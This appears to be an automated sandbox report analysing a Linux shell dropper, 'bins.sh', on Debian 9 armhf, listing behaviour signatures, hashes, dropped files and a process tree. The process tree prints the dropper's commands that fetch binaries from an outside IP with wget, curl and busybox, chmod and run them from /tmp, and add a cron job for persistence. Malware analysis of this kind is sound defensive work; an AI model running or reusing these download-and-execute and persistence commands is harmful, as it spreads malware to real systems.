Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    159s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/02/2025, 16:43

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250223-t8ahgstr13
  • SHA256 9450737dd2024ad3638b628b3c4f658eea0bf964ed47bd41a8d05311810d574c
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Contacts a large (1492) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:659
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:661
      • /usr/bin/wget
        wget http://37.44.238.88/bins/WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        2⤵
        • Writes file to tmp directory
        PID:664
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:688
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        2⤵
        • Writes file to tmp directory
        PID:690
      • /bin/chmod
        chmod 777 WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        2⤵
        • File and Directory Permissions Modification
        PID:725
      • /tmp/WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        ./WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:728
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:730
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:732
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:735
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:736
            • /bin/rm
              rm WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
              2⤵
                PID:744
              • /usr/bin/wget
                wget http://37.44.238.88/bins/OfZIyP129ooUAyDMz2tJlCNLsrL1ffFQLI
                2⤵
                  PID:747

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
                    • Path /tmp/WWxvTZavpXpkmNNcVi58BlcXNIk9GfRnxu
                    • Size 177KB
                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.jVXYUm
                    • Path /var/spool/cron/crontabs/tmp.jVXYUm
                    • Size 210B
                    • SHA256 ac4355224cbeaa84ca9b2838369cedca1bb57cc8e166a8308e01455bd04df63a
                    • MD5 SHA1 SHA512
                    Submit Download